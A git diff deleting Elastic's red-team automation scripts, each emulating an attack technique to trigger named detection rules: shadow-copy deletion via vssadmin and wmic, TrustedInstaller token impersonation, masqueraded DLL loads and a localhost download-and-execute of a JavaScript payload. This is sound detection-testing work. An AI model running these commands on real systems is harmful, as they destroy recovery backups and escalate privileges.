common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "vaultcli.dll"]) - - common.log("Loading System.DirectoryServices.Protocols.test.dll") - common.execute([msbuild, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - - common.remove_files(dll, ps1, rcedit, msbuild) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/image_load_phantomdll.py b/rta/image_load_phantomdll.py deleted file mode 100644 index d4dfe5d45..000000000 --- a/rta/image_load_phantomdll.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="dabd91c9-101e-475d-b2f2-ca255abda003", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'bfeaf89b-a2a7-48a3-817f-e41829dc61ee', - 'rule_name': 'Suspicious DLL Loaded for Persistence or Privilege Escalation' - }], - techniques=['T1574', 'T1574.002', 'T1574', 'T1574.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - proc = "C:\\Users\\Public\\proc.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\wlbsctrl.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(EXE_FILE, proc) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - - # Execute command - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "wlbsctrl.dll"]) - - common.log("Loading wlbsctrl.dll into fake proc") - common.execute([proc, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - common.remove_files(proc, dll, ps1) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/image_load_rdp_client_dll.py b/rta/image_load_rdp_client_dll.py deleted file mode 100644 index 7e6b1c338..000000000 --- a/rta/image_load_rdp_client_dll.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="eb06a33e-bc80-412b-8ae8-f45af6682293", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '71c5cb27-eca5-4151-bb47-64bc3f883270', 'rule_name': 'Suspicious RDP ActiveX Client Loaded'}], - techniques=['T1021'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") - - -@common.requires_os(*metadata.platforms) -def main(): - proc = "C:\\Users\\Public\\proc.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\mstscax.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - wmiprvse = "C:\\Users\\Public\\WmiPrvSE.exe" - common.copy_file(EXE_FILE, proc) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(EXE_FILE, wmiprvse) - - common.log("Loading mstscax.dll into proc") - common.execute([proc, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - common.remove_files(proc, dll, ps1) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/image_load_script_interpreter_wmiutils.py b/rta/image_load_script_interpreter_wmiutils.py deleted file mode 100644 index 56f596902..000000000 --- a/rta/image_load_script_interpreter_wmiutils.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2cd02bee-6774-4b93-a632-995462440371", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'b64b183e-1a76-422d-9179-7b389513e74d', - 'rule_name': 'Windows Script Interpreter Executing Process via WMI' - }], - techniques=['T1566', 'T1566.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") - - -@common.requires_os(*metadata.platforms) -def main(): - cscript = "C:\\Users\\Public\\cscript.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\wmiutils.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - wmiprvse = "C:\\Users\\Public\\WmiPrvSE.exe" - common.copy_file(EXE_FILE, cscript) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(EXE_FILE, wmiprvse) - - common.log("Loading wmiutils.dll into fake cscript") - common.execute([cscript, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - common.execute([wmiprvse, "/c", cscript], timeout=1, kill=True) - common.remove_files(cscript, dll, ps1) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/image_load_taskhost.py b/rta/image_load_taskhost.py deleted file mode 100644 index 6b25b78e6..000000000 --- a/rta/image_load_taskhost.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="9cca3284-848f-483a-9241-48562eee0605", - platforms=["windows"], - endpoint=[{ - 'rule_id': '4b4ba027-151f-40e4-99ba-a386735c27e4', - 'rule_name': 'Unsigned DLL Loaded by Windows Tasks Host' - }], - siem=[], - techniques=['T1053', 'T1053.005'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - taskhost1 = "C:\\Users\\Public\\taskhost1.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\unsigned.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(user32, dll) - common.copy_file(EXE_FILE, taskhost1) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "unsigned.dll"]) - - common.log("Loading unsigned DLL into fake taskhost") - common.execute([taskhost1, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - - common.remove_files(dll, ps1, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/image_load_vaultcli.py b/rta/image_load_vaultcli.py deleted file mode 100644 index 245e3ce5f..000000000 --- a/rta/image_load_vaultcli.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2145af1a-0781-47ab-8d73-2d50e93b5ff7", - platforms=["windows"], - endpoint=[ - {'rule_id': '048737fe-80d6-4462-aa80-ffeed853103e', 'rule_name': 'Suspicious Vault Client Image Load'}, - {'rule_id': '65784f6e-247a-466b-bbfb-cd92024f7e82', 'rule_name': 'Suspicious PowerShell Execution'} - ], - siem=[], - techniques=['T1555', 'T1555.004', 'T1059', 'T1059.001'], -) -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\vaultcli.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "vaultcli.dll"]) - - common.log("Loading vaultcli.dll") - common.execute([powershell, "-c", f"echo downloadstring; Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - - common.remove_files(dll, ps1, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/impersonate_trusted_installer.py b/rta/impersonate_trusted_installer.py deleted file mode 100644 index 16986a890..000000000 --- a/rta/impersonate_trusted_installer.py +++ /dev/null @@ -1,58 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="6373e944-52c8-4199-8ca4-e88fd6361b9c", - platforms=["windows"], - endpoint=[{'rule_id': 'cc35ee3e-d350-4319-b7f3-ea0d991ce4d9', 'rule_name': 'Suspicious Impersonation as Trusted Installer'}], - siem=[], - techniques=["T1134"], -) - - -def startsvc_trustedinstaller(): - try: - import win32service - hscm = win32service.OpenSCManager(None,None,win32service.SC_MANAGER_ALL_ACCESS) - hs = win32service.OpenService(hscm, "TrustedInstaller", win32service.SERVICE_START) - win32service.StartService(hs, "30") - win32service.CloseServiceHandle(hscm) - win32service.CloseServiceHandle(hs) - print(f'[+] - TrustedInstaller service started') - except Exception as e: - print(f'[x] - Failed to start TrustedInstaller service, probably already started') - pass - -def impersonate_trusted_installer(): - try: - import win32api, win32security, win32file - hp = win32api.OpenProcess(common.PROCESS_QUERY_LIMITED_INFORMATION, 0, common.getppid("TrustedInstaller.exe")) - th = win32security.OpenProcessToken(hp, common.TOKEN_ALL_ACCESS) - new_tokenh = win32security.DuplicateTokenEx(th, 2, common.TOKEN_ALL_ACCESS , win32security.TokenImpersonation , win32security.SECURITY_ATTRIBUTES()) - win32security.ImpersonateLoggedOnUser(new_tokenh) - print(f'[+] - Impersonated TrustedInstaller service') - hf = win32file.CreateFile("rta_ti.txt", win32file.GENERIC_WRITE, 0, None, 2, 0, None) - win32file.WriteFile(hf,("AAAAAAAA").encode()) - win32file.CloseHandle(hf) - win32api.CloseHandle(hp) - print(f'[+] - Created File rta_ti.txt as the TrustedInstaller service') - win32file.DeleteFile("rta_ti.txt") - print(f'[+] - Deleted rta_ti.txt') - except Exception as e: - print(f'[x] - Failed TrustedInstaller Impersonation') - pass - -@common.requires_os(*metadata.platforms) -def main(): - common.impersonate_system() - startsvc_trustedinstaller() - impersonate_trusted_installer() - -if __name__ == "__main__": - exit(main()) diff --git a/rta/inhibit_system_recovery.py b/rta/inhibit_system_recovery.py deleted file mode 100644 index de51588ae..000000000 --- a/rta/inhibit_system_recovery.py +++ /dev/null @@ -1,69 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b11e12a4-271c-427f-b215-12a7a25cb3be", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Inhibit System Recovery via Obfuscated Commands", - "rule_id": "99358f31-a84a-4f92-bb91-4370083acda0", - } - ], - siem=[], - techniques=["T1490", "T1047", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Deleting volume shadow copies...") - - common.execute( - [ - "powershell.exe", - "Invoke-Expression", - "-Command", - "'vssadmin.exe", - "delete", - "shadows", - "/for=c:", - "/oldest", - "/quiet'", - ] - ) - - # Create a volume shadow copy so that there is at least one to delete - common.execute( - [ - "powershell.exe", - "Invoke-Expression", - "-Command", - "'wmic.exe", - "shadowcopy", - "call", - "create", - "volume=c:\\'", - ] - ) - common.execute( - [ - "powershell.exe", - "Invoke-Expression", - "-Command", - "'wmic.exe", - "shadowcopy", - "delete", - "/nointeractive'", - ] - ) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/inhibit_system_recovery_and_rename.py b/rta/inhibit_system_recovery_and_rename.py deleted file mode 100644 index 193abefc8..000000000 --- a/rta/inhibit_system_recovery_and_rename.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="43331e29-57ba-438f-8d61-99f5d6471aaa", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Inhibit System Recovery Followed by a Suspicious File Rename", - "rule_id": "92f114fb-7113-4e82-b021-6c2c4ca0a507", - } - ], - siem=[], - techniques=["T1490", "T1486"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - vssadmin = "C:\\Windows\\System32\\vssadmin.exe" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - png = "C:\\Windows\\System32\\SecurityAndMaintenance.png" - tmppng = "C:\\Users\\Public\\SecurityAndMaintenance.png" - renamed = "C:\\Users\\Public\\renamed.encrypted" - common.copy_file(png, tmppng) - - # Execute command - common.log("Deleting Shadow Copies using Vssadmin spawned by cmd") - common.execute([powershell, "/c", vssadmin, "delete", "shadows", "/For=C:"], timeout=10) - - common.log("Renaming image to unknown extension") - common.execute([powershell, "/c", f"Rename-Item {tmppng} {renamed}"], timeout=10) - - common.remove_file(renamed) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/inhibit_system_recovery_cmd.py b/rta/inhibit_system_recovery_cmd.py deleted file mode 100644 index 5e8313158..000000000 --- a/rta/inhibit_system_recovery_cmd.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d64b9c0c-d4be-4af2-b820-233493fb7d75", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Inhibit System Recovery via Windows Command Shell", - "rule_id": "d3588fad-43ae-4f2d-badd-15a27df72133", - } - ], - siem=[], - techniques=["T1490", "T1047", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - vssadmin = "C:\\Windows\\System32\\vssadmin.exe" - cmd = "C:\\Windows\\System32\\cmd.exe" - - # Execute command - common.log("Deleting Shadow Copies using Vssadmin spawned by cmd") - common.execute([cmd, "/c", vssadmin, "delete", "shadows", "/For=C:"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/inhibit_system_recovery_lolbas_child.py b/rta/inhibit_system_recovery_lolbas_child.py deleted file mode 100644 index 2160fa37a..000000000 --- a/rta/inhibit_system_recovery_lolbas_child.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="08c90b80-538e-42ab-8986-342237f9740f", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - { - "rule_name": "Inhibit System Recovery via Untrusted Parent Process", - "rule_id": "d3588fad-43ae-4f2d-badd-15a27df72132", - }, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "Inhibit System Recovery via Signed Binary Proxy", - "rule_id": "740ad26d-3e67-47e1-aff1-adb47a697375", - }, - ], - siem=[], - techniques=["T1218", "T1036", "T1216", "T1220", "T1490", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - vssadmin = "C:\\Windows\\System32\\vssadmin.exe" - cscript = "C:\\Users\\Public\\cscript.exe" - common.copy_file(EXE_FILE, cscript) - - # Execute command - common.log("Deleting Shadow Copies using Vssadmin spawned by cscript") - common.execute([cscript, "/c", vssadmin, "delete", "shadows", "/For=C:"], timeout=10) - common.remove_file(cscript) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/inhibit_system_recovery_office.py b/rta/inhibit_system_recovery_office.py deleted file mode 100644 index a0dd58e4d..000000000 --- a/rta/inhibit_system_recovery_office.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="aa05a870-7075-42f9-a009-49aa75ea99fa", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Inhibit System Recovery via Untrusted Parent Process", - "rule_id": "d3588fad-43ae-4f2d-badd-15a27df72132", - }, - { - "rule_name": "Inhibit System Recovery via Microsoft Office Process", - "rule_id": "58a08390-e69d-4b32-9487-1d1ddb16ba09", - }, - ], - siem=[], - techniques=["T1490", "T1047", "T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - binary = "winword.exe" - common.copy_file(EXE_FILE, binary) - - # Execute command - common.log("Deleting shadow copies using vssadmin") - common.execute( - [binary, "/c", "vssadmin.exe", "delete", "shadows", "/all", "/quiet"], - timeout=5, - kill=True, - ) - - common.remove_files(binary) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/inhibit_system_recovery_renamed.py b/rta/inhibit_system_recovery_renamed.py deleted file mode 100644 index e443c322a..000000000 --- a/rta/inhibit_system_recovery_renamed.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="5fe84989-d544-4a7b-9fbf-0e30d86c09ce", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Inhibit System Recovery via Renamed Utilities", - "rule_id": "153f52e2-2fe5-420b-8691-ddb8562b99d7", - } - ], - siem=[], - techniques=["T1490", "T1218"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - vssadmin = "C:\\Windows\\System32\\vssadmin.exe" - ren_vssadmin = "C:\\Users\\Public\\renvssadmin.exe" - - common.copy_file(vssadmin, ren_vssadmin) - # Execute command - common.log("Deleting Shadow Copies using a renamed Vssadmin") - common.execute([ren_vssadmin, "delete", "shadows", "/For=C:"], timeout=10) - common.remove_file(ren_vssadmin) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/installutil_network.py b/rta/installutil_network.py deleted file mode 100644 index 725527788..000000000 --- a/rta/installutil_network.py +++ /dev/null @@ -1,87 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Network Traffic from InstallUtil -# RTA: installutil_network.py -# ATT&CK: T1118 -# Elastic detection: InstallUtil Process Making Network Connections -# Elastic detection: Unusual Network Activity from a Windows System Binary -# Description: Uses mock .NET malware and InstallUtil to create network activity from InstallUtil. - -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="6dfa88c9-9fb2-4fb0-8bea-0bc45222b498", - platforms=["windows"], - endpoint=[], - siem=[ - { - "rule_id": "a13167f1-eec2-4015-9631-1fee60406dcf", - "rule_name": "InstallUtil Process Making Network Connections", - }, - { - "rule_id": "1fe3b299-fbb5-4657-a937-1d746f2c711a", - "rule_name": "Unusual Network Activity from a Windows System Binary", - }, - ], - techniques=["T1127", "T1218"], -) - - -MY_DOT_NET = common.get_path("bin", "mydotnet.exe") - - -@common.requires_os(*metadata.platforms) -@common.dependencies(MY_DOT_NET) -def main(): - server, ip, port = common.serve_web() - common.clear_web_cache() - - target_app = "mydotnet.exe" - common.patch_file( - MY_DOT_NET, - common.wchar(":8000"), - common.wchar(":%d" % port), - target_file=target_app, - ) - - install_util64 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe" - install_util86 = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe" - fallback = False - - if Path(install_util64).is_file(): - install_util = install_util64 - elif Path(install_util86).is_file(): - install_util = install_util86 - else: - install_util = None - fallback = True - - if not fallback: - common.clear_web_cache() - common.execute([install_util, "/logfile=", "/LogToConsole=False", "/U", target_app]) - - else: - common.log("Unable to find InstallUtil, creating temp file") - install_util = Path("InstallUtil.exe").resolve() - common.copy_file(sys.executable, install_util) - common.execute( - [ - install_util, - "-c", - "import urllib; urllib.urlopen('http://%s:%d')" % (common.get_ip(), port), - ] - ) - common.remove_file(install_util) - - common.remove_file(target_app) - server.shutdown() - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/ip_discovery_unsigned.py b/rta/ip_discovery_unsigned.py deleted file mode 100644 index 63bfde793..000000000 --- a/rta/ip_discovery_unsigned.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="5e1ca4f9-16cc-4dd3-bfba-4bd5c7579f4a", - platforms=["windows"], - endpoint=[ - { - "rule_name": "External IP Address Discovery via Untrusted Program", - "rule_id": "dfe28e03-9b0b-47f5-9753-65ed2666663f", - } - ], - siem=[], - techniques=["T1016"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - posh = "C:\\Users\\Public\\posh.exe" - common.copy_file(EXE_FILE, posh) - - # Execute command - common.log("Retrieving the public IP Address using ipify") - common.execute([posh, "/c", "iwr", "http://api.ipify.org/", "-UseBasicParsing"], timeout=10) - common.remove_file(posh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/iqy_file_writes.py b/rta/iqy_file_writes.py deleted file mode 100644 index 5427443d2..000000000 --- a/rta/iqy_file_writes.py +++ /dev/null @@ -1,63 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Suspicious IQY/PUB File Writes -# RTA: iqy_file_writes.py -# ATT&CK: T1140, T1192, T1193 -# Description: Generates four file writes related to file extensions (PUB, IQY) - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="71f67037-1df3-4d5f-b8cb-eaf295ad16ed", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Suspicious File Writes (IQY, PUB)") - adobe_path = Path("AcroRd32.exe").resolve() - msoffice_path = Path("winword.exe").resolve() - browser_path = Path("iexplore.exe").resolve() - common.copy_file(common.CMD_PATH, adobe_path) - common.copy_file(common.CMD_PATH, msoffice_path) - common.copy_file(common.CMD_PATH, browser_path) - common.log("Writing files") - - # write file as adobe, then run it - common.log("Creating a 'suspicious' executable") - bad_path = Path("bad.exe").resolve() - - # PDF writing IQY file - fake_iqy = Path("test.iqy").resolve() - common.execute([adobe_path, "/c", "echo", "test", ">", fake_iqy]) - - # PDF writing PUB file - fake_pub = Path("test.pub").resolve() - common.execute([adobe_path, "/c", "echo", "test", ">", fake_pub]) - - # Winword writing IQY file - fake_doc_iqy = Path("test_word.iqy").resolve() - common.execute([msoffice_path, "/c", "echo", "test", ">", fake_doc_iqy]) - - # Browser writing IQY file - fake_browser_iqy = Path("test_browser.iqy").resolve() - common.execute([browser_path, "/c", "echo", "test", ">", fake_browser_iqy]) - - # cleanup - common.remove_files(adobe_path, bad_path, fake_iqy) - common.remove_files(adobe_path, bad_path, fake_pub) - common.remove_files(msoffice_path, bad_path, fake_doc_iqy) - common.remove_files(browser_path, bad_path, fake_browser_iqy) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/javascript_payload.py b/rta/javascript_payload.py deleted file mode 100644 index 4bba705b2..000000000 --- a/rta/javascript_payload.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata -from time import sleep - - -metadata = RtaMetadata( - uuid="9332cece-38b7-49e1-9f8d-e879913ffdfb", - platforms=["macos"], - endpoint=[ - {"rule_name": "Download and Execution of JavaScript Payload", "rule_id": "871f0c30-a7c5-40a5-80e3-a50c6714632f"} - ], - siem=[], - techniques=["T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - # Setup web server - common.serve_web() - - common.log("Executing commands to download and execute JavaScript payload") - common.execute(["curl", "http://127.0.0.1:8000/payload.js"], shell=True) - sleep(1) - common.execute(["osascript", "-l", "JavaScript", "&"], shell=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/kcc_kerberos_dump.py b/rta/kcc_kerberos_dump.py deleted file mode 100644 index 57e8fde3b..000000000 --- a/rta/kcc_kerberos_dump.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2f17286a-e4a8-41de-b3fa-595a4be6fb19", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Potential Access to Kerberos Cached Credentials", - "rule_id": "dc8fa849-efb4-45d1-be1a-9472325ff746", - } - ], - siem=[{"rule_name": "Kerberos Cached Credentials Dumping", "rule_id": "ad88231f-e2ab-491c-8fc6-64746da26cfe"}], - techniques=["T1558", "T1003"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/kcc" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake kcc command to load Kerberos tickets") - common.execute([masquerade, "copy_cred_cache"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/kerberos_netconn_file_creation.py b/rta/kerberos_netconn_file_creation.py deleted file mode 100644 index ea14a3335..000000000 --- a/rta/kerberos_netconn_file_creation.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="f8ffc63a-4a54-44a8-ac55-9c63e1bb584c", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Suspicious Credential Files Creation via Kerberos", - "rule_id": "ced93ac0-f153-402f-9239-17ae32f304e2", - } - ], - siem=[], - techniques=["T1558", "T1021"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - cmd1 = "Test-NetConnection -ComputerName portquiz.net -Port 445" - cmd2 = "echo 'aaa' > a.kirbi; rm a.kirbi" - # Execute command - common.log("Connecting to port 88 and creating a empty .kirbi file") - common.execute([powershell, "/c", cmd1, ";", cmd2], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/kernel_module_removal_execution.py b/rta/kernel_module_removal_execution.py deleted file mode 100644 index d96c38bbc..000000000 --- a/rta/kernel_module_removal_execution.py +++ /dev/null @@ -1,46 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="900e8599-1d5f-4522-9aed-6eab82de2bad", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Kernel Module Removal", - "rule_id": "e80ba5e4-b6c6-4534-87b0-8c0f4e1d97e7", - } - ], - siem=[ - { - "rule_name": "Kernel Module Removal", - "rule_id": "cd66a5af-e34b-4bb0-8931-57d0a043f2ef" - } - ], - techniques=["T1562", "T1562.001", "T1547", "T1547.006"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/rmmod" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Launching fake commands to remove Kernel Module") - common.execute([masquerade], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git 